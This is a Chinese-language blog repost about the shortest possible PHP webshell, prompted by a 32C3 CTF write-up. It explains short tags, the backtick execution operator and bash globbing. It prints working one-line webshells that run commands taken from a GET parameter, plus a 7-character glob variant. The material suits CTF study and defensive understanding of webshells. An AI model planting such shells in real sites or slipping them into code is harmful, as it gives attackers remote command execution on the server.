首页 > 代码库 > PHP最短webshell的思考
PHP最短webshell的思考
转自:http://ecma.io/483.html
The shortest webshell of PHP
某天闲逛wooyun,发现一篇挺有意思的文章————《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西:
- The shortest webshell of PHP
- PHP执行运算符反引号
上面提及的文章,我读前几遍的时候是很费解的!后来,土司的P牛给我一些指点,豁然开朗
Google “the shortest webshell”
1
|
<?=`$_GET[1]`?>
|
google得到的结果之一如上所示,一共15个字符。这里比较有意思的是
- php.ini需要开启short_open_tag后才能使用短标签,才能使用 <?= 代替 <? echo
- php中使用分号分隔语句进行解析
-
- 最后一行不需要分号
-
php多条语句可以写在一样,但是需要分号分隔
- 多个分号之间只要是空白符,php是允许的!(有待考究)
1
|
<?=`$_GET[1]`;
|
google得到的最短的webshell如上所示,一共14个字符
- 这里去掉了闭合标签,但是加上了分号
- 最后一行不需要分号,但是一定需要闭合标签!
- 此外,这种写法嵌套在其它文件中是不可行的,那么就必须写上闭合标签!
linux中bash的妙用
1
|
<?=`*`;
|
一个7个字符,这七个字符能做什么呢?
在linux系统中,在终端运行*与上面的作用是一样的!
-
*用于匹配目录下的所有文件名(包括目录名)。
- 反引号就是执行运算符,将目录下的文件名以命令的形式进行执行!接下来就是linux的东西了
PHP最短webshell的思考
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。